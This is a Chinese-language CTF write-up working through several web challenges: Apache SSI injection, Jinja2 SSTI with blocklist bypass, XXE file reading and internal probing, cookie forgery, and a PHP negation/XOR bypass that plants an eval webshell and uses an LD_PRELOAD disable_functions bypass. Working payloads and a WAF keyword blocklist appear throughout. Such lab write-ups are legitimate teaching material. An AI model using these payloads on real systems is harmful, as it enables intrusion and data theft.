[BSidesCF 2019]Futurella

F12看到flag

有🍪吧

[BJDCTF2020]EasySearch

进去是一个登陆页面

进去随便试了几个,回显都一样,试着用dirsearch扫描看能不能找到突破口

你👱🏻‍经过相关查询发现这道题的关键是swp,正好被你👱🏻‍扫描到了

下面放出源代码

<?php
ob_start();
function get_hash(){
    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
    $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
    $content = uniqid().$random;
    return sha1($content); 
}
header("Content-Type: text/html;charset=utf-8");
 ***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
    $admin = '6d0bc1';
    if ( $admin == substr(md5($_POST['password']),0,6)) {
        echo "<script>alert('[+] Welcome to manage system')</script>";
        $file_shtml = "public/".get_hash().".shtml";
        $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
        $text = '
        ***
        ***
        <h1>Hello,'.$_POST['username'].'</h1>
        ***
        ***';
        fwrite($shtml,$text);
        fclose($shtml);
        ***
        echo "[!] Header  error ...";
    } else {
        echo "<script>alert('[!] Failed')</script>";
        
}else
{
 ***
}
 ***
?>

进行代🐴审计

uniqid()函数是基于以微秒计的当前时间,生成一个唯一的ID

sha1()函数计算字符串的SHA-1散列

password的MD5值前6位要等于6d0bc1

这里直接用python跑出md5加密前面是6d0bc1的密文

     import hashlib

for i in range(1000000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()

if a[0:6] == '6d0bc1':
    print(i)
    print(a)

抓包后传输过去,发现过了第一层,并发现上面给了个Url

代进去试试

这里输出了用户名的名字

既然这里是shtml,那么可以利用Apache SSI 远程命令执行漏洞上传一个shtml文件内容为

password既然是个固定值,那么唯一可控的地方就是username

可以在username这里整活

将这里的url代入可以得到flag的位置

再构造

代入url就可以得到flag

[GYCTF2020]FlaskApp

你👱🏻‍看到一开始就提示了是flask注入

然后这个输入框应该就是注入点,一般来说加密框把数据加密后就不会执行代码了,所以应该是解密框执行代码。

比如输入22

发现存在ssti注入

输入

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

来查看根目录,如法炮制后得到

在🐶叫了,说明被ban掉了

这时候看看hint,告诉你👱🏻‍失败乃成功之👱‍♀️

你👱🏻‍想起来之前测试的时候,如果输入一些能让解密4️⃣🐴的东西,能跳出来新网页

@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
    text = request.values.get("text")
    text_decode = base64.b64decode(text.encode())
    tmp = "结果 : {0}".format(text_decode.decode())
    if waf(tmp) :
        flash("no no no !!")
        return redirect(url_for('decode'))
    res =  render_template_string(tmp)

那么这里必须要拿下waf了

这里读源码

 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}

def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request","subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1

可以看到这里过滤了flag和os

看来得用到字符串拼接了

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

这里拿到了flag的位置

this_is_the_flag.txt

再次对flag进行拼接

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

[NCTF2019]True XML cookbook

你👱🏻‍打开就是个登陆界面,又是注入了

进行抓包,感觉这个username和password怪怪的

搜了一下,可能是xxe漏洞,偷个exp发过去试试

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY exp SYSTEM "file:///flag">
]>
<user><username>&exp;</username><password>aaaa</password></user>

没读到flag

再试试获取源🐴

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY exp SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
]>
<user><username>&exp;</username><password>aaaa</password></user>

base64解密后得到

<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);

    $username = $creds->username;
    $password = $creds->password;

    if($username == $USERNAME && $password == $PASSWORD){
            $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
    }else{
            $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
    }
}catch(Exception $e){
    $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>%

输入里面的username和password,果然成功登陆

但是没发现什么东西

这里又蒙了,这里好像也看不出什么有用的东西

再搜了一下,好像是要内网探测存活的主机获取/etc/hosts文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY exp SYSTEM "file:///etc/hosts">
]>
<user><username>&exp;</username><password>aaaa</password></user>

这里也没有可用信息,再读取另外一个/proc/net/arp文件

这里出现了flag和一个特殊ip 10.128.253.12

构造

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY exp SYSTEM "http://10.128.253.12">
]>
<user><username>&exp;</username><password>aaaa</password></user>

有报错,这里使用intruder扫描C段

然后这个题目环境有病,导致最终做不出来,但是思路是这个思路。

[BSidesCF 2019]Kookie

你👱🏻‍打开题目经典登录

这里已经提示了cookie,那就开始抓包

添加Cookie:monster=admin 这里成功登录

这里还能看到set-cookie里面的username,那么我们重新构造

Cookie:monster=admin;username=admin

然后拿下

[极客大挑战 2019]RCE ME

你👱🏻‍进去是代码审计

这里意思很简单,Get的字符串不能超过40位,其次还需要绕过正则

这里需要用取反urlencode编码绕过

即对查询语句取反,然后编码。

在编码前加上~进行取反,括号没有被过滤,不用取反

所以构造

<?php
echo urlencode(~'phpinfo');
?>

得到%8F%97%8F%96%91%99%90

所以payload为

?code=(~%8F%97%8F%96%91%99%90)();

这里可以看到被ban的函数

使用一句话木马连接蚁剑

<?php 
error_reporting(0);

$a='assert';
$b=urlencode(~$a);
echo $b;

echo "<br>";
$c='(eval($_POST["cmd"]))';
$d=urlencode(~$c);
echo $d;

?>

但点进去flag没东西,这里应该是因为之前被限制了函数

所以你👱🏻‍需要绕过被ban的函数。

你👱🏻‍搜了下,本来要用蚁剑的插件市场,但是最近莫名其妙打不开死个🐴

所以只能绕远路了

这里需要readflag才能得到flag,这里需要利用利用linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE

在/var/tmp/目录存在上传权限,上传我们的exp

https://www.anquanke.com/post/id/175403

这里是EXP地址

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

这里的shell其实就是另外一个php改名,只是shell短一点更好写

这里构造exp执行命令

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

这里的payload是偷的网上的异或payload,后面的是根据上传的写的

执行得到flag